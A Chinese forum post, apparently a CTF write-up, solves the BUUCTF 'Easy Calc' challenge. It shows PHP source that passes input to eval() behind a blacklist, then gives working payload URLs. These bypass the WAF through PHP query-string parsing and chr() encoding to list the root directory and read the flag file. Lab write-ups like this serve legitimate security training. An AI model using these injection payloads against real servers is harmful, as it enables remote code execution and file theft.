登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
BUUCTF靶场17 --[RoarCTF 2019]Easy Calc
[PHP] 纯文本查看 复制代码 <html>
<body>
<form id="calc">
<div class="form-group">
<input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
</div>
<div id="result"><div class="alert alert-success">
</div></div>
<button type="submit" class="btn btn-primary">计算</button>
</form>
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
</body></html>
看完题后有思路么?
输入会出现结果。
2、分析代码信息,显示存在num参数,那就传输num参数进行尝试,发现传输num参数时仅可传输数字型参数,当传入字符型时会显示禁止访问,根据第一步的waf提示,想到这里应该是被waf给过滤了,过程如下:
3、根据源代码信息我们最终肯定要通过eval函数来执行命令代码,因此现在就需要来绕过对字符串的检测,num=a时被拦截,那waf肯定接受了num参数并进行了检测,那我们根据php的解析规则:这里借用一个图说明,具体的可以去了解php解析规则:原理1:利用PHP的字符串解析特性参考文章:利用PHP的字符串解析特性Bypass
[Plain Text] 纯文本查看 复制代码 PHP将查询字符串(在URL或正文中)转换为内部$_GET或关联数组$_POST。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如:
/?foo=bar变成Array([foo]=> “bar”)。
/? foo=bar变成Array([foo]=> “bar”)。 //?号后有一个空格
/?+foo=bar变成Array([foo]=> “bar”)。 //?号后有一个+号
 
查看源码发现提示
WAF是什么呢,查阅资料:
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
根据我的理解,应该是一个类似与防火墙的东西
查看一下calc.php文件,可以得知被过滤的字符
[PHP] 纯文本查看 复制代码 <?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
4、实现绕过之后那就开始读取当前的目录信息,获取flag文件的信息:
scandir():列出目录中的文件和目录 原理2:利用scandir()列出目录和文件,var_dump()用于输出scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于ls /
var_dump()相当于echo
[Bash shell] 纯文本查看 复制代码 // 以升序排序 - 默认
$a = scandir($dir);
// 以降序排序
$b = scandir($dir,1);
chr():从不同的 ASCII 值返回字符
因为/被过滤 所以使用chr(47)来替代 构造payload
[PHP] 纯文本查看 复制代码 http://node4.buuoj.cn:25834/calc.php?num=print_r(scandir(chr(47)))
空格绕过 在num前加一个空格,进行目录读取 [PHP] 纯文本查看 复制代码 http://node4.buuoj.cn:25834/calc.php? num=var_dump(scandir(chr(47)))
或
[PHP] 纯文本查看 复制代码 Array
(
[0] => .
[1] => ..
[2] => .dockerenv
[3] => bin
[4] => boot
[5] => dev
[6] => etc
[7] => f1agg
[8] => home
[9] => lib
[10] => lib64
[11] => media
[12] => mnt
[13] => opt
[14] => proc
[15] => root
[16] => run
[17] => sbin
[18] => srv
[19] => start.sh
[20] => sys
[21] => tmp
[22] => usr
[23] => var
)
发现根目录下面有个f1agg 文件,试着读取
5、获得f1agg文件名称后就读取文件信息内容,
原理3:利用file_get_contents()读取并输出文件内容例如 file_get_contents(/flag.php),读取/flag.php的代码 file_get_contents():把整个文件读入一个字符串中
因为引号也被过滤了,所以flagg也需要使用chr函数
构造payload payload:[PHP] 纯文本查看 复制代码 http://node4.buuoj.cn:28804/calc.php?%20num=file_get_contents(chr(47).f1agg)
[PHP] 纯文本查看 复制代码 http://node4.buuoj.cn:27343/calc.php?+num=print_r(readfile(chr(47).f1agg));
或
[PHP] 纯文本查看 复制代码 http://node4.buuoj.cn:27343/calc.php?+num=file_get_contents(readfile(chr(47).f1agg));
或
[PHP] 纯文本查看 复制代码 http://node4.buuoj.cn:27343/calc.php?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag{d5c9f964-7190-4095-84c6-eef6cc104dc4} 1
参考:
https://www.freebuf.com/fevents/207936.html
https://www.cnblogs.com/upfine/p/16471867.html
https://blog.csdn.net/weixin_52116519/article/details/124212036
|